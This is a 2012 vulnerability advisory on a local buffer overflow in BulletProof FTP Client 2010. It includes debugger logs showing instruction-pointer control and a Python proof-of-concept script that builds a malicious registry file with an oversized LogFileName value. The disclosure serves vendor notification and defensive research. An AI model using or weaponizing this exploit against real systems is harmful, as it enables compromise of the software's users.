BulletProof FTP Client 2010 – Buffer Overflow (PoC)
Title: ====== BulletProof FTP Client 2010 - Buffer Overflow Vulnerability Date: ===== 2012-04-02 References: =========== http://www.vulnerability-lab.com/get_content.php?id=475 VL-ID: ===== 475 Introduction: ============= BPFTP Client is a fully automated FTP client, with many advanced features including automatic download resuming, leech mode, ftp search and much more. Perfect for personal or corporate Webmasters as well as for Software and Music traders. Features: + Automatic Resume/Reconnect + Browse Offline with Cache + Leech Mode + Hidden File Support + Download Credit/Ratio Support + Clipboard Monitor + Queue 1,000s of Actions + Proxy/Firewall Support + HTTP/Webserver Support + Import CuteFTP, WS_FTP, FTP Explorer + Remote Mirroring + Search and Filter Ability (Copy of the Vendor Homepage: http://www.bpftp.com ) Abstract: ========= A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on BulletProof FTP Client v2010.75.0.76 Report-Timeline: ================ 2012-03-14: Vendor Notification 2012-03-16: Vendor Response/Feedback 2012-04-02: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== BulletProof Product: BPFTP Client Software (Windows) v2010.75.0.76 & 2011.x Exploitation-Technique: ======================= Local Severity: ========= High Details: ======== A Buffer Overflow vulnerability is detected on BulletProof FTP Client v2010.75.0.76 (current version). The vulnerability is located in the main executeable bpftpclient.exe. During the start of the application the value LogFileName from the registry key [HKEY_CURRENT_USER/Software/BulletProof Software/BulletProof FTP Client 2010/Options] is read. When inserting an oversized value to the registry value a buffer overflow is triggered. The victim only needs to start the application. Vulnerable Module(s): [+] bpftpclient.exe --- Debugger Logs --- # 42424242: The instruction at 0x42424242 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 2264) # Registers: # EAX 00000000 # ECX 42424242 # EDX 7C9132BC ntdll.7C9132BC # EBX 00000000 # ESP 0012F594 # EBP 0012F5B4 # ESI 00000000 # EDI 00000000 # EIP 42424242 # Stack: # 0012F588 00140198 # 0012F58C 7C91D80A ntdll.7C91D80A # 0012F590 7C9601E1 ntdll.7C9601E1 # 0012F594 7C9132A8 RETURN to ntdll.7C9132A8 # 0012F598 0012F67C # 0012F59C 0012FBCC ASCII ``AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC`` # 0012F5A0 0012F698 # Dump: # 0012FBB4 41 41 41 41 41 41 41 41 AAAAAAAA # 0012FBBC 41 41 41 41 41 41 41 41 AAAAAAAA # 0012FBC4 41 41 41 41 41 41 41 41 AAAAAAAA # 0012FBCC 41 41 41 41 42 42 42 42 AAAABBBB # 0012FBD4 43 43 43 43 43 43 43 43 CCCCCCCC # 0012FBDC 43 43 43 43 43 43 43 43 CCCCCCCC # 0012FBE4 43 43 43 43 43 43 43 43 CCCCCCCC Picture(s): ../1.png ../2.png Proof of Concept: ================= The vulnerability can be exploited by local attackers. Successful exploitation requires no user inter action. For demonstration or reproduce ... #!/usr/bin/python # Exploit Title: BulletProof FTP Client v2010.75.0.76 Local Buffer Overflow # Version: 2010.75.0.76 # Date: 2012-03-11 # Author: Julien Ahrens # Homepage: http://www.inshell.net # Software Link: http://www.bpftp.com/ # Tested on: Windows XP SP3 Professional German # Notes: - # Howto: Import Reg -> Start App file="poc.reg" junk1="\x41" * 448 boom="\x42\x42\x42\x42" junk2="\x43" * 100 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\BulletProof Software\BulletProof FTP Client 2010\Options]\n" poc=poc + "\"LogFileName\"=\"" + junk1 + boom + junk2 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!"; Risk: ===== The security risk of the local buffer overflow vulnerability is estimated as high(+). Credits: ======== Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) [www.inshell.net] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright � 2012|Vulnerability-Lab -- VULNERABILITY RESEARCH LABORATORY TEAM Website: www.vulnerability-lab.com Mail: research@vulnerability-lab.com |